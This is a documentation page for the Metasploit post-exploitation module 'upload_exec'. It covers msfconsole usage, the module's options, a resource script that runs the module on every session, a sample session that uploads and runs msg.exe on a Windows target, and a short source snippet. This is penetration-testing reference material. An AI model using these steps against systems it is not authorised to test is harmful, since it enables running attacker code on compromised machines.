Upload and Execute - Metasploit
This page contains detailed information about how to use the post/multi/manage/upload_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Upload and Execute
Module: post/multi/manage/upload_exec
Source code: modules/post/multi/manage/upload_exec.rb
Disclosure date: -
Last modification time: 2018-10-02 21:33:01 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Solaris, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Push a file and execute it.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/manage/upload_exec
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/manage/upload_exec
msf post(upload_exec) > show options
... show and set options ...
msf post(upload_exec) > set SESSION session-id
msf post(upload_exec) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/manage/upload_exec")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
SESSION: The session to run this module on.
LPATH: Local file path to upload and execute
Knowledge Base
Vulnerable Application
This module allows you to upload a binary file, and automatically execute it.
The following platforms are supported:
- Windows
- Linux
- OS X
Verification Steps
- Prepare for an executable file you wish to upload and execute.
- Obtain a session from the target machine.
- In msfconsole, do
use post/multi/manage/upload_exec
- Set the
LFILE
option - Set the
RFILE
option - Set the
SESSION
option run
Options
LFILE
The file on your machine that you want to upload to the target machine.
RFILE
The file path on the target machine. This defaults to LFILE.
Scenarios
msf > use post/multi/manage/upload_exec
msf post(upload_exec) > show options
Module options (post/multi/manage/upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
LFILE yes Local file to upload and execute
RFILE no Name of file on target (default is basename of LFILE)
SESSION yes The session to run this module on.
msf post(upload_exec) > set lfile /tmp/
lfile => /tmp/
msf post(upload_exec) > set lfile /tmp/msg.exe
lfile => /tmp/msg.exe
msf post(upload_exec) > set rfile C:\\Users\\sinn3r\\Desktop\\msg.exe
rfile => C:\Users\sinn3r\Desktop\msg.exe
msf post(upload_exec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/windows WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM 192.168.146.1:4444 -> 192.168.146.149:50168 (192.168.146.149)
msf post(upload_exec) > set session 1
session => 1
msf post(upload_exec) > run
[-] Post interrupted by the console user
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the multi/manage/upload_exec post exploitation module looks in the msfconsole:
msf6 > use post/multi/manage/upload_exec
msf6 post(multi/manage/upload_exec) > show info
Name: Upload and Execute
Module: post/multi/manage/upload_exec
Platform: Windows, Unix, Linux, OSX, BSD, Solaris
Arch:
Rank: Normal
Provided by:
egypt <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ARGS no Command-line arguments to pass to the uploaded file
LPATH yes Local file path to upload and execute
RPATH no Remote file path on target (default is basename of LPATH)
SESSION yes The session to run this module on.
TIMEOUT 60 yes Timeout for command execution
Description:
Push a file and execute it.
Module Options
This is a complete list of options available in the multi/manage/upload_exec post exploitation module:
msf6 post(multi/manage/upload_exec) > show options
Module options (post/multi/manage/upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ARGS no Command-line arguments to pass to the uploaded file
LPATH yes Local file path to upload and execute
RPATH no Remote file path on target (default is basename of LPATH)
SESSION yes The session to run this module on.
TIMEOUT 60 yes Timeout for command execution
Advanced Options
Here is a complete list of advanced options supported by the multi/manage/upload_exec post exploitation module:
msf6 post(multi/manage/upload_exec) > show advanced
Module advanced options (post/multi/manage/upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
FileDropperDelay no Delay in seconds before attempting cleanup
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/manage/upload_exec module can do:
msf6 post(multi/manage/upload_exec) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/manage/upload_exec post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/manage/upload_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Command returned no output
Here is a relevant code snippet related to the "Command returned no output" error message:
43:
44: print_status("Executing command: #{cmd}")
45: output = cmd_exec(cmd, args, timeout)
46:
47: if output.blank?
48: print_status('Command returned no output')
49: else
50: print_line(output)
51: end
52: end
53:
Go back to menu.
Related Pull Requests
- #10686 Merged Pull Request: Add ARGS, TIMEOUT, and output to upload_exec
- #10384 Merged Pull Request: Fix upload_exec for absolute paths
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8259 Merged Pull Request: Add a simple upload exec module
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/manage/autoroute
- post/multi/manage/dbvis_add_db_admin
- post/multi/manage/dbvis_query
- post/multi/manage/fileshare
- post/multi/manage/hsts_eraser
- post/multi/manage/multi_post
- post/multi/manage/open
- post/multi/manage/play_youtube
- post/multi/manage/record_mic
- post/multi/manage/screensaver
- post/multi/manage/screenshare
- post/multi/manage/set_wallpaper
- post/multi/manage/shell_to_meterpreter
- post/multi/manage/sudo
- post/multi/manage/system_session
- post/multi/manage/zip
Authors
egypt
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.